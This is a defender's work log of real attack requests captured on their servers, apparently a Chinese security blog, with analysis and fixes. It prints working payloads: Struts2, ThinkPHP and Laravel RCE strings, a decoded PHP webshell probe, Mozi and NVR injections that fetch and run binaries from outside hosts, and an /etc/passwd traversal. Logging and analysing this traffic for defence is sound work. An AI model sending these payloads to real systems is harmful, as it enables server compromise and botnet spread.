{工作记录}遇到过的网络攻击合集&&爬虫User-Agent记录..{持续更新}

奇怪的攻击增加了!Exp!up!up! (最新更新时间:2022年10月31日 更新内容:爬虫UA头)
在这里插入图片描述

“看不懂是啥攻击,所以记一下。”——harusaruhi


2022年5月


User-Agent:Xenu Link Sleuth 1.3.5(死链扫描器),python-requests/2.25.1(爬虫),curl/7.79.1(curl爬取),WinHttpRequest(请求工具),Nmap Scripting Engine(Nmap脚本扫描),OpenVAS-VT(扫描器),User-Agent: Go-http-client/1.1


2022年5月1日
攻击类型:WEB
漏洞名称:Struts2远程命令执行漏洞
CVE编号:CVE-2017-5638

GET / HTTP/1.1
Host: xxxxxxxxxx:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('R2t0CyQc','1')}.multipart/form-data
Accept-Encoding: gzip

属于任意命令执行类漏洞,攻击者可以通过修改GET的内容类型Content-Type来实现执行命令
自动化程度: 攻击者可以通过扫描web服务后进行批量主机攻击,自动化程度
解决方法:Struts2升级至最新版本

转自下文)在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell。其中的jakarta解析器是Struts 2框架的标准组成部分,默认情况下jakarta是启用的,故需特别重视!!!!

参考文章

漏洞介绍 https://blog.csdn.net/qq_44851362/article/details/108273673
详细struts2漏洞利用 https://blog.csdn.net/weixin_34837898/article/details/114123350

2022年5月2日
攻击类型:WEB
漏洞名称:webshell扫描

记得把%2F替换成/才能base64解密要不然会报错

POST /xxxxx/mytag_js.php?aid=9090 HTTP/1.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: www.xxxxx.cn
Accept-Language: zh-cn
Referer: http://www.xxxxxx.com/xxxx/xxxxx/mytag_js.php?aid=9090
Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
Content-Length: 1496

guige=%40eval%2F%2A%15%99%D0%21%03%19s%20%0B%CB%A8%DD%E3%A3%C5%C4%BB%C5%CE%2A%2F%01%28%24%7B%27%5FP%27.%27OST%27%7D%5Bz9%5D%2F%2A%A0%9B%3F%C0%9A%3F%E0%99%3F%20%99%E3%2A%2F%01%28%24%7B%27%5FPOS%27.%27T%27%7D%5Bz0%5D%29%29%3B
&
z0=ODgwNTM4O0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk
%2F
JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk
%2F
JF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk
%2F
JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7
&
z9=BaSE64%5FdEcOdE

BASE64解密

#这里解密出来包含乱码,/*xxx*/内是不执行的,我先干掉了
guige=@eval(${'_P'.'OST'}[z9](${'_POS'.'T'}[z0]));
&z0=466557;
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo(">|");
;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
 $D=dirname($_SERVER["PATH_TRANSLATED"]);
$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));
$R="{$D}|".$root."|";
if(substr($D,0,1)!="/") {
	foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";
}
$R.="|";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();
$R.=php_uname();
$R.="({$usr})";
print $R;
;
echo("|<-");
die();
&z9=BaSE64_Decode

主要执行执行z0主要获取系统目录和系统用户啥的,感觉有点菜刀的特征(参考下文)这个还有明文形式的,能够实现此类攻击的有多种工具任你选择(草)
自动化程度: 攻击者可以自己利用现有的webshell特征写如chopper、xise等集成的webshell扫描脚本,直接白嫖别人webshell…,自动化程度程度
解决方法:不用php(草

详细介绍 https://blog.csdn.net/weixin_30814223/article/details/99616909

2022年5月3日
攻击类型:WEB
漏洞名称:mozi 他爹是Mirai人称小墨子
CVE编号:无,属于木马
墨子的典型特征就是User-Agent用Hello,world,非常的gud

GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;
chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Host: xxx.x.x.x:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive

由这段wget+http://192.168.1.1:8088/Mozi.a 可以看出来是需要通过攻击本地网关设备后,在网关设备创建http,而后对局域网内主机进行下载进行的攻击。如果你的网关没有被攻破,则此攻击不会生效。

而mozi其本身病毒对网关也会发起攻击,不同点在于wget这里使用的是被攻陷的互联网主机搭建的http
对于网关发起的攻击如下。

GET /shell?cd+/tmp;rm+-rf+*;wget+jx.qingdaosheng.com/jaws;sh+/tmp/jaws HTTP/1.1
User-Agent: Hello, world
Host: 127.0.0.1:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive

User-Agent还是Hello, world离谱 这里用的公网被沦陷的主机作为wget下载传染文件,很呆。
不过一旦网关没有做好防护,如没有启用防火墙,关闭危险端口等,由mozi自带的字典telnet之类的爆破进去或者利用设备CVE进去。从而使网关被沦陷,其所有内网主机将全部被感染,并且被劫持主机将会关闭22等远程访问端口,墨子的特色在于能够自己更新同步config所以变种速度极快。

自动化程度: 比他爹mirai还智能,自动化程度贼高
解决方法: 网关设复杂密码,及时更新网关版本,或者前面搞个防护设备别老裸奔,这类攻击主要打的就是机房。

此木马在不断变种,v2版本的mozi在样本分析后发现,新增了数个CVE利用方式及新的伪装模式。详细参考下文

绿盟伏影:MOZI木马新版本程序与新的攻击热潮
http://blog.nsfocus.net/mozi/
样本分析:
https://blog.csdn.net/qq_39542714/article/details/120929308
mozi介绍:
https://zhuanlan.zhihu.com/p/408890419

2022年5月4日
攻击类型:WEB
漏洞名称:Laravel代码执行漏洞
CVE编号:CVE-2021-3129

POST /_ignition/execute-solution HTTP/1.1
Host: xxx.xxx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 155
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Accept-Encoding: gzip
Connection: close

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": ""
  }
}

反序列化高危漏洞 特征为:POST 请求 /_ignition/execute-solution接口
且请求内容包含 “solution”: “Facade\Ignition\Solutions\MakeViewVariableOptionalSolution

当Laravel<=8.4.2,ignition组件版本<=2.5.1时,Ignition作为错误页生成器在访问报错页的时候会提供solution以帮助开发者快速修复页面;报错页面点击提交加密key,在提交时抓包可以发现是通过POST /_ignition/execute-solution接口来调用Facade\Ignition\Solutions\目录下的内置的几种solution。
其中MakeViewVariableOptionalSolution方式回传到log中的存在过滤不严谨,故可以被利用提交序列化到log,并通过phar对log实现反序列化执行。
自动化程度: 有许多现成脚本,不管你用没用Laravel或者压根就没用,上来就自动盲打接口一点脑子都不动,或者说是自动化已经非常成熟。我们这压根就没有用Laravel、ignition啥的,只要他扫到你有web就会自动打一下试试,自动化程度程度
解决方法:多更新,或者直接把solution之类的debug模式干碎,不让他提供报错方式,关闭/_ignition/execute-solution接口

漏洞发布 https://www.ambionics.io/blog/laravel-debug-rce
分析复现(这个讲得非常适合入门)https://xz.aliyun.com/t/9030
漏洞分析https://bbs.huaweicloud.com/blogs/337020


**

THINKPHP5漏洞

**
2022年5月8日
攻击类型:WEB
漏洞名称:thinkPHP5.x漏洞
CVE编号:thinkphp框架漏洞太多,这里一次性全记录了

GET /public/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[shell]);?>" >>shell.php HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
Host: xxx.xxx.xxx.xxx

受影响版本5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30

以下内容、图片皆参考https://blog.csdn.net/qq_41918771/article/details/106432188截图,详细thinkphp漏洞分析请参考此文。

thinkphp框架的任意命令执行漏洞,诱因为该框架默认不开启强制路由模式,同时兼容模式s=后的路径过滤不严谨导致。
执行运行时首先调用了/public/index.php/中的run()方法,run具体方法存在thinkphp\libray\think\app.php中

1.其中路由检测的调用为 $dispatch = $this->routeCheck()->init();
执行流程为首先 routecheck()→调度其中的path()→调度调度其中的pathinfo() 获取提交的URL中是否存在调用兼容模式的变量名s。

因为攻击方提交URL中的 s=/index/\think\app/invokefunction 在执行到
$pathinfo = $_GET[$this->config[‘var_pathinfo’]]; pathinfo取值为config里var_pathinfo指向的变量s所被赋予的值,所以 $pathinfo=/index/\think\app/invokefunction

在这里插入图片描述

这里pathinfo访问获取config文件中的var_pathinfo所指向的变量名,故s在这里插入图片描述

2.此时$path=/index/\think\app/invokefunction,routeCheck()会继续执行到调度

$dispatch = $this->route->check($path,$must)到cheak()

check($path,$must)方法其中$path就是上方获取的url,$must则是获取的是否为强制路由模式这里是false
在这里插入图片描述
在这里插入图片描述
check中会首先检测URL是否匹配,如果不匹配则,检查是否为强制路由模式如果是,则抛出异常,这里$must为false不是强制路由模式,故将不抛出异常。

在这里插入图片描述
这里会回传构造一个新的对象
UrlDispatch($request,$group,$url,[‘auto_search’->$autoSearchContoller,]),
其中的$url可以任意变动。方法check结束
在这里插入图片描述

此处check中有替换URL中的’/‘为’|'部分,(3.)部分这里参考https://blog.csdn.net/qq_50589021/article/details/120732190
在这里插入图片描述

3.$dispatch = $this->routeCheck()->init(); 中的routecheck()到此结束,将刚构造的对象UrlDispatch回传到$dispatch,然后再接着执行init()。
此时$dispatch=|index|\think\app|invokefunction——模块|控制器|操作

然后 init()→调用parseUrl($dispatch) 其中的 在这里插入图片描述

list($path,$var)=$this->rule->parseUrlPath($url); 继续往下看parseUrlPath($url)函数
在这里插入图片描述

其中用str_replace将|index|\think\app|invokefunction中的‘|’替换为了‘/’,然后又用trim将两侧的‘/’干碎
然后在下面用explode以‘/’将url分割为数组赋给了path
所以此刻$path={var[0]=index,var[1]=\think\app,var[2]=invokefunction}
而后返回$path与$var的值,$var在上方被附了空值[]
在这里插入图片描述
4.$path={var[0]=index,var[1]=\think\app,var[2]=invokefunction} 被返回到了init()中的$result
在这里插入图片描述
而后返回一个Module对象到init (其中$result为上方的回传内容),用module再调init()。
在这里插入图片描述

其中70行的$controller被赋予$result数组中的var[1]即控制器名**(这里没有对操作器进行过滤,故可以随意调用,漏洞就是这么来的…)**
同理74行actionName获取了var[2],即操作名。
此时 $dispatch = $this->routeCheck()->init(); 执行完毕
5.而后在往下走有调用dispatch()→中的resolve→直到调用$data=exec()在这里插入图片描述
exec()会调用$instance=controller($controller)即从上方$result继承的控制器名
在这里插入图片描述

控制器名被传入$name;而后进入parseModulenAndClass()函数
在这里插入图片描述

其首先会检测$name中是否包含‘\’ 如果包含则将name的值赋给class,然后返回
在这里插入图片描述
这里会检测验证class即\think\app是否被定义,如果已被定义则返回。
返回到实例化,controller已经执行完。继续往下走
在这里插入图片描述

$action这里获取了上面的$actionName即操作名,
下方这里$reflect等于一个新的对象,其赋值为instance-控制器,以及action-操作。
在这里插入图片描述
而后执行了invokeReflectMethod赋值给data在这里插入图片描述
再进入invokeReflectMethod→其内部的invokeArgs→中的invokeFunction
此处返回call_user_func_arry执行
在这里插入图片描述
到这里其实就结束了,return返回到页面 显示调用的结果。

/index/\think\app/invokefunction&function=
call_user_func_array&
vars[0]=system&
vars[1][]=echo "<?php @eval($_POST[shell]);?>" >>shell.php

最后其实是通过利用调用invokefunction执行了 执行回调函数call_user_func_array来执行var中的数组中的内容,这一步内容可以理解为,其实就是执行了function的call_user_func_array执行了后面system的shell写入。

call_user_func_array(‘call_user_func_array’,[system,[echo “<?php @eval($_POST[shell]);?>” >>shell.php]])

最终将执行结果返回$data返回到页面显示

自动化程度: 海量现成脚本,thinkphp的漏洞应该算是php类必须要掌握的漏洞,公网上大部分自动化攻击都是盲打路径thinkphp框架漏洞的,自动化程度程度
解决方法:多更新,建议不用,此框架漏洞太多。

以上thinkphp5内容内容参考
https://blog.csdn.net/qq_41918771/article/details/106432188
https://blog.csdn.net/qq_50589021/article/details/120732190
https://www.cnblogs.com/st404/p/10245844.html

2022年5月10日
攻击类型:WEB
漏洞名称:Thinkphp 5.0.0~ 5.0.23漏洞

POST //public/index.php/?s=captcha HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
Content-Length: 118
Host: xxx.xxx.xxx.xxx

_method=__construct&filter[]=system&method=get&
server[REQUEST_METHOD]=echo "<?php @eval($_POST[shell]);?>" >>shell.php

漏洞原因 Request=>method() 方法存在过滤不严谨

以下内容参考这篇大佬的https://blog.csdn.net/crisprx/article/details/111700924

有了上面那个洞的经验,可以直接找到method所在的Request类call_user_func

在这里插入图片描述
2022年5月16日
攻击类型:WEB
漏洞名称:CVE-2013-4316 (又是struts)
影响版本2.0.0 - 2.3.15

GET /?debug=command&expression=(40290*42263) HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip

开了开发者模式,传入debug=command&expression=后面执行OGNL表达式,因为太简单了所以并不适合入门的RCE漏洞
自动化程度: 太弱智了就不说了
解决方法: 别开debug模式,没事多升级Struts2版本

参考文章 https://blog.csdn.net/qq_31679787/article/details/102658406

2022年5月16日-1
攻击类型:WEB
漏洞名称: CVE-2020-5410 (类似的漏洞有CVE-2020-17519)
影响版本
Spring Cloud Config: 2.2.0 to 2.2.2
Spring Cloud Config: 2.1.0 to 2.1.8

GET /..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a HTTP/1.0
Host: xxx.xxx.xxx.xxx
User-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

任意读取漏洞
自动化程度: 用来练习写成脚本挺好
解决方法: 勤升级

参考https://xz.aliyun.com/t/7877

2022年5月16日-2
攻击类型:WEB
漏洞名称:CVE-2007-1036
影响版本 :jboss 4.x 以下

HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&
name=jboss.admin:service=DeploymentFileRepository&
methodName=store&
argType=java.lang.String&
arg0=shells.war&
argType=java.lang.String&
arg1=shells&
argType=java.lang.String&
arg2=.jsp&
argType=java.lang.String&
arg3=e23c9d1d724b29f77ed77a9c14d86438&
argType=boolean&
arg4=True HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: keep-alive

自动化程度挺高的
web中间件jboss低版本漏洞…,因为/jmx-console/不需要登录就能进,从而在jboss的控制台里传马,
主要看下这个马其中url中的参数:arg0代表war包的名称,arg1=文件名称,arg2=文件后缀名,arg3=文件内容。这里这个老哥应该是只是跑的脚本测试一下(又是自动化攻击…),要是能读到他写入的文件的话再进行下一步攻击。其实这个洞还有另一个上传木马的途径也可以达到这种效果。

参考https://article.itxueyuan.com/46Rmx2
参考https://blog.csdn.net/weixin_46318141/article/details/121172935


2022年5月21日
攻击类型:webshell
漏洞名称:是针对AspCms类型的webshell存活扫描
影响版本 :AspCms
这个东西要触发的前提是得有他post路径下的那个文件,同时文件里被写入了一句马之类的,干扫是没啥鸟用的。
User-Agent伪装成了百度蜘蛛

POST /inc/AspCms_AdvJs.asp HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
Accept: */*
Accept-Language: zh-cn
Referer: http://misc.yahoo.com.cn/
User-Agent: Mozilla/5.0+(compatible;+Baispider/2.0;++http://www.bai.com/search/spider.html)
Content-Length: 1218
Host: www.xxxxxxxxx.com

1s=%u0045%xec%ute%G%loba%l%%28Replace%28%22Fu%nct%ion%20bd%28by%V%al%20s%29:
Fo%r%20i%%3D1%20T%o%20Le%n%28s%29%20S%te%p%202:c%%3DM%id%28s%2Ci%2C2%29:
If%20Is%Nu%meric%28M%id%28s%2Ci%2C1%29%29%20T%hen:
bd%%3Dbd%4026%40c%hr%28%22%22%4026%40H%22%22%4026%40c%29:
E%lse:
bd%%3Dbd%4026%40c%hr%28%22%22%4026%40H%22%22%4026%40c%4026%40M%id%28s%2Ci%2B2%2C2%29%29:
i%%3Di%2B2:E%nd%20If:
Ne%xt:E%nd%20Fu%nct%ion:
E%xecu%te%%28bd%%28%22%224f6e204572726f7220526573756d65204e6578743a526573706f6e73652e57726974652022402a6c786c2a40223a44696D20686D3A536574206F626A584D4C3D5365727665722E4372656174654F626A65637428224D53584D4C322E536572766572584D4C4854545022293A6F626A584D4C2E6F70656E2022474554222C22687474703A2F2F68726861692E677A6873656F2E636F6D2F6170692E7068703F6B65793D7A464466774E5859754D6E5332525751664E58624442336342397959756C324C7439325975557A5A7546475A783479643364334C766F446330524861222C66616C73653A6F626A584D4C2E73656E6428293A686D3D6F626A584D4C2E726573706F6E7365546578743A496620686D3C3E224F4B22205468656E3A526573706F6E73652E57726974652822454E4422293A456E642049663A526573706F6E73652E577269746528224C584C22293a526573706f6e73652e577269746520222a406c786c402a223a526573706f6e73652e456e64
%22%22%29%%29%22%2C%22%4026%40%22%2Cchr%2838%29%29%29

先转一下utf-8 然后去掉%号,然后根据他调用的Replace(xxx…,“@26@”,chr(38))会将文中的@26@全部替换为&,于是我也替换一下,便得到下文

1s=ExecuteGlobal(
Replace(
"Function bd(byVal s):
For i=1 To Len(s) Step 2:
c=Mid(s,i,2):
If IsNumeric(Mid(s,i,1)) Then:
bd=bd@26@chr(""&H""&c):
Else:
bd=bd&chr(""&H""&c&Mid(s,i+2,2)):
i=i+2:
End If:
Next:
End Function:
Execute(bd(""4f6e204572726f7220526573756d65204e6578743a526573706f6e73652e57726974652022
402a6c786c2a40223a44696D20686D3A536574206F626A584D4C3D5365727665722E4372656174654F626A6
5637428224D53584D4C322E536572766572584D4C4854545022293A6F626A584D4C2E6F70656E2022474554
222C22687474703A2F2F68726861692E677A6873656F2E636F6D2F6170692E7068703F6B65793D7A4644667
74E5859754D6E5332525751664E58624442336342397959756C324C7439325975557A5A7546475A78347964
3364334C766F446330524861222C66616C73653A6F626A584D4C2E73656E6428293A686D3D6F626A584D4C2
E726573706F6E7365546578743A496620686D3C3E224F4B22205468656E3A526573706F6E73652E57726974
652822454E4422293A456E642049663A526573706F6E73652E577269746528224C584C22293a526573706f6
e73652e577269746520222a406c786c402a223a526573706f6e73652e456e64""))","@26@",chr(38)))

对下面的那段进行Hex解码得到了一段vb类型的程序

On Error Resume Next:
Response.Write "@*lxl*@":
Dim hm:
Set objXML=Server.CreateObject("MSXML2.ServerXMLHTTP"): 
objXML.open "GET","http://hrhai.gzhseo.com/api.php?key=zFDfwNXYuMnS2RWQfNXbDB3cB9yYul2Lt92YuUzZuFGZx4yd3d3LvoDc0RHa",false:
objXML.send():
hm=objXML.responseText:
If hm<>"OK" Then:
Response.Write("END"):
End If:
Response.Write("LXL"):
Response.Write "*@lxl@*":
Response.End

简单分析一下payload 网上搜了一下有不少类似的

这里msxml2.serverxmlhttp部分参考https://blog.csdn.net/pb8/article/details/21998369

从头来分析一下嗷~

1s=ExecuteGlobal(
Replace(
"Function bd(byVal s):
For i=1 To Len(s) Step 2:
c=Mid(s,i,2):
If IsNumeric(Mid(s,i,1)) Then:
bd=bd&chr(""&H""&c):

首先ExecuteGlobal执行后面的所有命令
replace的格式为 例:
replace(“kamitsubaki”即内容,"tsubaki"文中需要替换的内容,"kaf"用来替换的内容))
最后得到的便是 “kamikaf”

ExecuteGlobal(
Replace(
"Function bd(byVal s):

执行语句(多个语句时用’:'隔开执行)(
替换其中的内容(
执行函数bd:
(其中s的值因为被byVal变为传值方式而并非从地址中取值,所以接下来不论如何调用s他的值都不会变)

For i=1 To Len(s) Step 2:
c=Mid(s,i,2):
If IsNumeric(Mid(s,i,1)) Then:
bd=bd&chr(""&H""&c):

for循环 i的初始值为1 每次递增2 循环直至s的总字数为止:
(每一次循环都将对下面的函数全部调用一遍)
变量c的值等于由s左边起,第i个字符开始的两个字符:
(例:s是"harusaruhi",i等于1,取2个字符,即c=“ha”)
如果 s的左边起第i个字符取值1位 判断为数字:
——bd等于 bd连接 chr转换ascii码(16进制的c值)
(如果c的值为14,首先16进制后为E,而后转ascii为69,bd即等于bd69)

Else:
bd=bd&chr(""&H""&c&Mid(s,i+2,2)):
i=i+2:
End If:

如果if判断 s的左边起第i个字符取值1位 不为数字:
则bd等于 bd连接ascii转换(转16进制 c的值拼接(s左边起的i+2个字符,取两位))
然后i的值+2
结束if判断进入下一次for循环,直到i的值到达s的字符长度:
上方判断Mid(s,i,1)不是数字,则进入else,例如s的值为“homo114514” 当前i为第一次循环即i=1,
c=Mid(s,i,2)即c的值为“ho”,
这里bd=bd&转ascii(转16进制 拼接 c的值 拼接 s左边起1+2的字符开始获取两个字符 )
即,bd=bd&chr(十六进制 “ho"拼接"mo”) ,homo转16进制为686f6d6f,
再转ascii为5456541025410054102,最后再将i的值+2,非常的机智)
搞个例图:
循环思路
执行bd取值部分后结束if判断,紧接着执行下面被加密的部分

Next:
End Function:
Execute(bd("xxxxxxx")太多了懒得再加上,会有凑字数的嫌疑_(:з」∠)_

这里调用了Execute函数,将bd的内容给下面发送到内个网址里了

然后再对下面需要转的部分做分析

set objXML创建调用MSXML2.ServerXMLHTTP;后

objXML.open "GET","http://hrhai.gzhseo.com/api.php?key=zFDfwNXYuMnS2RWQfNXbDB3cB9yYul2Lt92YuUzZuFGZx4yd3d3LvoDc0RHa",false:

设定用GET访问以下URL,并在async布尔位设定为false——同步模式,即服务端返回消息后再执行操作,如果为true则为不等待服务端返回消息直接继续执行操作。
http://hrhai.gzhseo.com/api.phpkey=zFDfwNXYuMnS2RWQfNXbDB3cB9yYul2Lt92YuUzZuFGZx4yd3d3LvoDc0RHa。

objXML.send():
hm=objXML.responseText:
If hm<>"OK" Then:
Response.Write("END"):

发送请求;
随便定义一个变量hm (hm?homo!114514!!) 用来接收服务端回复文本:
如果返回的消息不等于OK:
则向页面输出“END”:

End If:
Response.Write("LXL"):
Response.Write "*@lxl@*":
Response.End

End If:结束if,继续执行下方命令
对页面输出文本"LXL":
对页面输出文本“@lxl@”:
执行结束

类似的还有z0&z9之类的菜刀连接,这次遇到的应该是自己改过的菜刀,把服务端信息发送到自己的网址下这个思路挺好玩的。


2022年5月27日
攻击类型:针对网络视频监控报警管理系统的僵尸网络
漏洞名称:
影响版本 :loT

将XML格式化了一下

POST /editBlackAndWhiteList HTTP/1.1
Accept-Encoding: identity
Content-Length: 644
Accept-Language: en-us
Host: xxx.xxx.xxx.xxx
Accept: */*
User-Agent: Mozila/5.0
Connection: close
Cache-Control: max-age=0
Content-Type: text/xml
Authorization: Basic 
YWRtaW46ezEyMjEzQkQxLTY5QzctNDg2Mi04NDNELTI2MDUwMEQxREE0MH0=

<request version="1.0" systemType="NVMS-9000" clientType="WEB">
    <types>
        <filterTypeMode>
            <enum>refuse</enum>
            <enum>allow</enum>
        </filterTypeMode>
        <addressType>
            <enum>ip</enum>
            <enum>iprange</enum>
            <enum>mac</enum>
        </addressType>
    </types>
    <content>
        <switch>true</switch>
        <filterType type="filterTypeMode">refuse</filterType>
        <filterList type="list">
            <itemType>
                <addressType type="addressType"/>
            </itemType>
            <item>
                <switch>true</switch>
                <addressType>ip</addressType>
                <ip>$(cd${IFS}/tmp;wget${IFS}http://92.118.230.134/garm7${IFS}-O-${IFS}>GSec;chmod${IFS}777${IFS}GSec;./GSec${IFS}tvt)</ip>
            </item>
        </filterList>
    </content>
</request>

首先将header中Authorization的base64一下得到

admin:{12213BD1-69C7-4862-843D-260500D1DA40}

怀疑就是通过这个来过摄像系统验证的,我这没有他们的环境,只能靠猜了…
根据绿盟的分析报告对比当前发现这个僵尸网络已经发生变种,由原来的nc反弹shell连接到c2变为wget下载木马。

参考 https://www.secrss.com/articles/14661
参考https://www.ics-cert.org.cn/portal/page/121/4e6e3c44604a4b8bb46612bc7aa36b06.html

僵尸木马网络
自动化程度:
解决方法: 勤升级,admin强密码,或者别nat出去保持内网交互


2022年7月30日

从5.1就开始在hvv+应付各种检查实在没余力更新了_(:з」∠)_,摸了摸了,过段20开完了,时间不忙了再更新


2022年10月5日
攻击类型:web告警检测到openssh_GO访问web的443端口
漏洞名称:不明
影响版本 :不明
时间点:10月4日夜晚-10月5日凌晨时段
攻击反馈:安全设备会报攻击成功,但是具体研判需要人工进服务器内看日志是否被攻击成功,这边的服务器报的400访问失败。

手法疑似为调用go的ssh库方式提交ssh请求报文到https,没有抓包所以这次没留报文。

查看web服务器访问日志内容如下

60.217.75.70 - - [05/xxx/2022:03:xx:xx +0800] "GET / HTTP/1.1" 400 255 "-" "Mozilla/5.0"

60.217.75.70 - - [21/Sep/2022:xx:xx:xx +0800] "SSH-2.0-Go" 400 157 "-" "-"
60.217.75.70 - - [28/Sep/2022:xx:xx:xx +0800] "SSH-2.0-Go" 400 157 "-" "-"
60.217.75.70 - - [05/Oct/2022:xx:xx:xx +0800] "SSH-2.0-Go" 400 157 "-" "-"

还有其他的访问日志我就不放了
这个ip在攻击前期有用get爬网段web的"/“目录,其UA头为单一"Mozilla/5.0”
结合各情报网站的告警记录
在这里插入图片描述
基本可以判断是在批量攻击
不知道具体在利用的什么攻击和报文,有拦截到的老哥还望恳请分享一下


2024年1月22日
攻击类型:任意文件上传探测
漏洞名称:通达OA v2017 action_upload.php 任意文件上传(探测)
影响版本 :V11、v2017、v2016、v2015、v2013
payload:

POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1
Host: xxxxxxxxx
Connection: upgrade
Content-Length: 868
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Go-http-client/1.1

